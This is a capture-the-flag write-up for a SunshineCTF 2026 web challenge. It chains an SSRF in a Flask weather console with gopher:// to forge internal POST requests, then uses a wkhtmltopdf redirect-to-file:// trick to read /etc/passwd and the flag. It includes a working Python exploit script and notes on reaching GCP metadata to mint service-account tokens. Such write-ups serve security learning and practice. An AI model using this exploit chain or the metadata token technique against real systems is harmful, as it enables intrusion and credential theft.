$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: Flask weather console with a hidden feed-override form giving SSRF; internal service renders PDFs with wkhtmltopdf 0.12.5. Solution: use gopher SSRF to POST /report, then abuse wkhtmltopdf following an HTTP 302 open-redirect to file:///flag.txt to bypass local-file blocking and read the flag from the rendered PDF.
The Punxsutawney Orbital Weather Authority has been broadcasting the same forecast since 1993. Every reading is fresh. Every date is February 2. The Bureau insists this is fine, and the groundhog has declined to comment. Their public console is up. Have a look at where it gets its numbers.
English summary: A public Flask weather console (behind nginx) fetches a station feed URL. A hidden manual-override form lets you control that URL, giving SSRF. The gopher:// scheme is allowed, so the SSRF can be turned into an arbitrary internal POST request. An internal loopback service renders PDFs with an old wkhtmltopdf build; abusing wkhtmltopdf's redirect-following to reach file:// yields local file read and the flag.
http://127.0.0.1:8000/feed.POST / with body feed=<url> points the console at a spare station feed URL. This is the SSRF entry point.POST / with feed=<url> makes the server fetch <url> and reflect the body inside <pre class="tape">...</pre>, plus a feed-debug: source=... bytes=... comment.The outer fetcher is implemented with pycurl. Restrictions (later confirmed via LFI on /app/app.py):
http:// and gopher:// schemes allowed (ALLOWED_SCHEMES); libcurl PROTOCOLS pinned to PROTO_HTTP | PROTO_GOPHER.FOLLOWLOCATION = False — the outer fetcher does not follow redirects.file:// via the outer fetcher returns 0 bytes (blocked).Because gopher:// is allowed, you can send arbitrary raw bytes (including a full HTTP request with custom headers) to any internal host:port. Gopher URL form: gopher://HOST:PORT/_<percent-encoded-raw-bytes> (first char after / is the gopher type selector _, the rest is the raw payload).
Fetching http://127.0.0.1:8000/ via SSRF reveals an internal "Bureau Archive" with three endpoints:
GET /feed — randomised observation JSON generated locally with Python random (no external source — a red herring for "where it gets its numbers").GET /healthPOST /report — renders an archival PDF from an HTML content field using wkhtmltopdf 0.12.5, returning JSON with the PDF base64 in a data field. Index text mentions "updating from wkhtmltopdf 0.12.5" — the vuln hint.The outer console only issues GET when fetching a feed, so craft a full raw POST /report HTTP request via gopher:// to 127.0.0.1:8000 with Content-Type: application/x-www-form-urlencoded and body content=<html>&title=x. The internal service renders it and returns the base64 PDF, reflected back through the console. Keep rendered content small: the console reflection truncates very large PDFs (~1MB).
file:// inside <iframe>/XHR in the rendered HTML fails with ContentNotFoundError / NETWORK_ERR — local file access is disabled in this build.http://example.com fine) and follows HTTP redirects. The local-file-access policy only blocks an initial file:// navigation; a redirect that lands on file:// bypasses it.file:// (httpbin works):
https://httpbin.org/redirect-to?url=file:///flag.txt&status_code=302content sent to /report:
<pre><iframe src="https://httpbin.org/redirect-to?url=file%3A%2F%2F%2Fflag.txt&status_code=302" width="1100" height="1400"></iframe></pre>
file:///flag.txt and renders the file contents into the PDF. Decode the base64 data and run pdftotext to extract the text./etc/passwd was read first to confirm the LFI (Alpine-based container, user jorgin). The flag file is /flag.txt at top level.
#!/usr/bin/env python3 import base64, urllib.parse, requests, subprocess CONSOLE = "https://odyssey.web.2026.sunshinectf.games/" INTERNAL_HOST, INTERNAL_PORT = "127.0.0.1", 8000 def gopher_wrap(raw: bytes) -> str: # percent-encode every byte; gopher type selector '_' prefixes the payload enc = "".join("%%%02X" % b for b in raw) return f"gopher://{INTERNAL_HOST}:{INTERNAL_PORT}/_{enc}" def build_post_report(html_content: str) -> bytes: body = urllib.parse.urlencode({"content": html_content, "title": "x"}) req = ( f"POST /report HTTP/1.1\r\n" f"Host: {INTERNAL_HOST}:{INTERNAL_PORT}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: close\r\n" f"\r\n" f"{body}" ) return req.encode() def ssrf_fetch(feed_url: str) -> str: r = requests.post(CONSOLE, data={"feed": feed_url}, timeout=60) return r.text # PDF base64 is reflected inside <pre class="tape"> # LFI payload: wkhtmltopdf follows the 302 open-redirect onto file:///flag.txt target_file = "file:///flag.txt" redirect = ("https://httpbin.org/redirect-to?url=" + urllib.parse.quote(target_file, safe="") + "&status_code=302") content = (f'<pre><iframe src="{redirect}" ' f'width="1100" height="1400"></iframe></pre>') raw = build_post_report(content) reflected = ssrf_fetch(gopher_wrap(raw)) # Extract base64 PDF from the JSON "data" field reflected in the tape, decode, # then run pdftotext to read the rendered flag. # (parse reflected -> b64 -> /tmp/out.pdf -> pdftotext) # print(open("/tmp/out.txt").read()) # -> sun{REDACTED}
With gopher you can also reach GCP metadata:
gopher://metadata.google.internal:80/_<raw GET with header "Metadata-Flavor: Google">
returns full instance metadata and lets you mint the default service-account access token and ID tokens (scope cloud-platform). Project sunshinectf-prod, instance sunshinectf-2026-web; a GCS bucket named odyssey exists (matches the subdomain).
BUT the service account is deliberately locked down: testIamPermissions on the project returns empty; no Secret Manager access, no storage.objects.get/list on odyssey, no compute/run/serviceusage/iam. The GCP path is an intentional distraction. The real path is the wkhtmltopdf redirect-to-file LFI.
Use this technique when:
feed-debug: source=... bytes=... — a user-controlled fetch URL (SSRF).http/gopher, and has FOLLOWLOCATION off → use gopher://HOST:PORT/_<raw> to send an arbitrary internal POST.wkhtmltopdf 0.12.5 / Qt 4.8.7).file:// in the rendered HTML is blocked, but the renderer has egress and follows HTTP redirects → use an HTTP 302 open redirect (httpbin.org/redirect-to?url=file:///path) to bypass local-file blocking (redirect-to-file LFI).$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar